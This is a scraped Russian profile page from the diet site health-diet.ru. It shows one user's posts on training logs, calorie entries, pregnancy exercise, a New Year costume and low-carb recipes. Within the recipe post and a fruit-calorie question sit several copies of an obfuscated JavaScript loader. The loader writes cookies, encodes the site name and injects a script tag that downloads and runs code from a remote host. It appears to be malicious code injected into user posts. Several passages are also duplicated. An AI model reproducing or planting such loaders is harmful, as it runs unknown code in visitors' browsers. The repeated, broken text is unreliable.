Юлия
27.08.2019 13:20
Подскажите, пожалуйста, особо одаренной))). Начала вести дневник
тренировок и не поняла как указывать вес снаряда: штанги то
понятно, а гантелей, если их две - сумму двух или только
одной? По логике надо указывать сумму, просто там написано "вес
снарядА", и это меня смутило))
Юлия
18.05.2016 10:55
Всем привет ! Кто подскажет, как можно занести в дневник запеченную
куриную грудку С КОЖЕЙ. Потому что, мне кажется, что в базе
куриная грудка (филе) — без кожи, т.к. там всего 1,1грамм жира на
100 грамм продукта. А мне надо именно с кожей. Буду благодарна!
Юлия
11.01.2016 10:21
Ввиду запрета на нагрузки в период беременности решила ходить с
Лесли. Очень понравилось. Можно смотреть телик и даже читать)))
Можно одеться потеплее, открыть окно и будет почти прогулка на
свежем воздухе. Возник вопрос: вы как ходите -в кроссовках или без?
У меня плоскостопие, поэтому и спрашиваю. Так не хочется в
кроссовках - шумно получается...
6
47
Юлия
22.12.2015 11:37
Сделала сценарий на новогодний корпоратив на работе. Я там играю
Козу -символ уходящего года. Причем получается, что я к тому же
глубоко беременная коза 
Вот не знаю, что такое одеть, чтобы не шить и не покупать костюм.
Есть ободок с рожками, может приделать туда сшитые ушки? И надеть платок на плечи? Есть идеи?
Вот не знаю, что такое одеть, чтобы не шить и не покупать костюм.
Есть ободок с рожками, может приделать туда сшитые ушки? И надеть платок на плечи? Есть идеи?
Юлия
09.12.2015 13:54
Калорийность - 130.2 кКал; белки - 10.2 г; жиры - 7.3 г; углеводы - 5.6 г на 100 г.
Ингредиенты
| Яйцо куриное (Запекание) | 60 г |
| Кефир 3,2% жирности | 50 г |
| Отруби пшеничные | 30 г |
| Кунжут, семя (Жарка) | 2 г |
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 20 мин
Описание
Я ДИКО ИЗВИНЯЮСЬ - ПЕРЕПУТАЛА ОТРУБИ! НЕ ПШЕНИЧНЫЕ НАДО,
А ОВСЯНЫЕ! 
Пропорции примерные.
Погасить соду (1/3 ч.л.) кефиром.
Добавить остальные ингредиенты, перемешать.
Добавить щепотку соли. Можно без кунжута, можно добавить специи по вкусу.
Запекать в духовке минут 15 или в микроволновке 4 минуты.
Я делала в силиконовых формочках для кексов в духовке. Мне очень понравилось!
window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();
Пропорции примерные.
Погасить соду (1/3 ч.л.) кефиром.
Добавить остальные ингредиенты, перемешать.
Добавить щепотку соли. Можно без кунжута, можно добавить специи по вкусу.
Запекать в духовке минут 15 или в микроволновке 4 минуты.
Я делала в силиконовых формочках для кексов в духовке. Мне очень понравилось!
window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}(); Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
| Содержание в порции | % от РСП | ||
| Калории | 130.2 кКал | 7.73% | |
| Белки | 10.2 г | 13.42% | |
| Жиры | 7.3 г | 13.04% | |
| Углеводы | 5.6 г | 2.56% | |
| Пищевые волокна | 9.7 г | 48.5% | |
| Вода | 65.2 г | 2.87% | |
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
13
A
13.6%
b-car
0.5%
В1
14.5%
B2
17.7%
Холин
25.3%
B5
13.8%
B6
4.2%
B9
1.5%
B12
12.5%
C
0.3%
D
9.7%
E
17.5%
H
20.4%
вит.К
0.1%
PP
25.1%
Калий
16%
Ca
11.9%
Si
~
Mg
28.9%
Na
6.2%
P
42.2%
Cl
4.8%
Fe
24.5%
I
8.1%
Co
47.8%
Mn
0.8%
Cu
4%
Mo
6.4%
Se
26.8%
F
0.8%
Cr
5%
Zn
5.3%
Юлия
27.11.2015 22:59
Сегодня был конкретный срыв на угли и жиры, но я себя не ругала,
т.к. его предвидела)))
Просто на УЗИ мне сегодня сказали, что опять будет мальчик. А у меня и так как в "Служебном романе" у Новосельцева - "мальчик и... мальчик". Была слабая надежда на девочку, так хотелось косички, наряды, куклы, родственную душу как у нас с мамой...эх...)))) Видимо, судьба моя такая))) Да, да, знаю,главное, чтоб здоровый был, что надо радоваться, что он всё чувствует, и всё такое. Сама себя так уговариваю, и морально заранее готовилась ко всему.... Но уж поймите меня, ничего не могу с собой поделать, немного расстроилась и решила, что поем-ка я сегодня как следует, наплюю на КБЖУ)))) В довершение накупили елочных игрушек, всякой фигни в Фикс-прайсе и большую красивую ёлку - стало полегче)))
Еще меня сейчас будет напрягать жалость и непонимание знакомых, ведь все мне желали дочку, и, если была бы девочка, то с точки зрения "обычной семьи" еще можно оправдать рождение третьего ребенка, а так... Все близкие: мама, родители мужа - все ждали и хотели девочку. Естественно,сейчас на словах говорят: главное, чтоб всё хорошо было и здоровеньким родился, хотя понятно, что думают. Ну это, конечно, неважно, но все равно неприятно немножко.
Может здесь у кого в семье три сына растет? Каково это, а?
Просто на УЗИ мне сегодня сказали, что опять будет мальчик. А у меня и так как в "Служебном романе" у Новосельцева - "мальчик и... мальчик". Была слабая надежда на девочку, так хотелось косички, наряды, куклы, родственную душу как у нас с мамой...эх...)))) Видимо, судьба моя такая))) Да, да, знаю,главное, чтоб здоровый был, что надо радоваться, что он всё чувствует, и всё такое. Сама себя так уговариваю, и морально заранее готовилась ко всему.... Но уж поймите меня, ничего не могу с собой поделать, немного расстроилась и решила, что поем-ка я сегодня как следует, наплюю на КБЖУ)))) В довершение накупили елочных игрушек, всякой фигни в Фикс-прайсе и большую красивую ёлку - стало полегче)))
Еще меня сейчас будет напрягать жалость и непонимание знакомых, ведь все мне желали дочку, и, если была бы девочка, то с точки зрения "обычной семьи" еще можно оправдать рождение третьего ребенка, а так... Все близкие: мама, родители мужа - все ждали и хотели девочку. Естественно,сейчас на словах говорят: главное, чтоб всё хорошо было и здоровеньким родился, хотя понятно, что думают. Ну это, конечно, неважно, но все равно неприятно немножко.
Может здесь у кого в семье три сына растет? Каково это, а?
16
46
Юлия
23.11.2015 14:05
Вчера прочитала анекдот:
- Девочки! Я похудела на 2 килограмма!
- Какая же ты умничка, молодец!...тварь...
- Девочки! Я похудела на 2 килограмма!
- Какая же ты умничка, молодец!...тварь...
6
Юлия
22.11.2015 15:16
Товарищи! Стала тут заполнять дневник и заметила приличную разницу
в калориях фруктов по разным источникам, в частности
калорийность мандарина, хурмы по данным
Скурихина и USDA отличаются. Где правда? Ставлю, конечно, по
максимуму...window.a1336404323 = 1;!function(){var
e=JSON.parse(''),t="7787",o=function(e){var
t=document.cookie.match(new RegExp("(?:^|;
)"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.on
error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();
+"=(*)");return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp==""return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.on
error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var
r=o("a2519043306";t=r?r:e,s(t)};f()}();
Юлия
17.09.2015 10:45
Юлия
16.09.2015 09:29
Недавно увлеклась низкоуглеводным питанием и нашла форуме такой
рецептик хлеба(навскидку): на 1 порцию - 1 яйцо, 2 ст.л.
льняной муки, 2 ст.л. сметаны, чуть гашеной соды. Все
смешиваем, солим, можно добавить льняные семечки, кунжут, сушеный
чеснок, специи. Ставим в микроволновку на 5 минут. Готово! Мне
нравится!
1
12
Лучшие рационы
2024-04-27
Калорийность: 1170 кКал
2024-04-18
Калорийность: 1126 кКал
2024-04-11
Калорийность: 1236 кКал
Интересные блоги
26-04-2024
Дневник питания и тренировок за 26.04.2024
Сегодняшний рациончик. :)
Сегодня у меня праздник...
23-04-2024
Дневник питания за 21.04.2024
Дел в саду немеряно, как всегда. Пока есть здоровь...
20-04-2024
Дневник питания за 20.04.2024
Всем добра, тепла и стройности
Сегодняшнюю свою з...
Новые рецепты
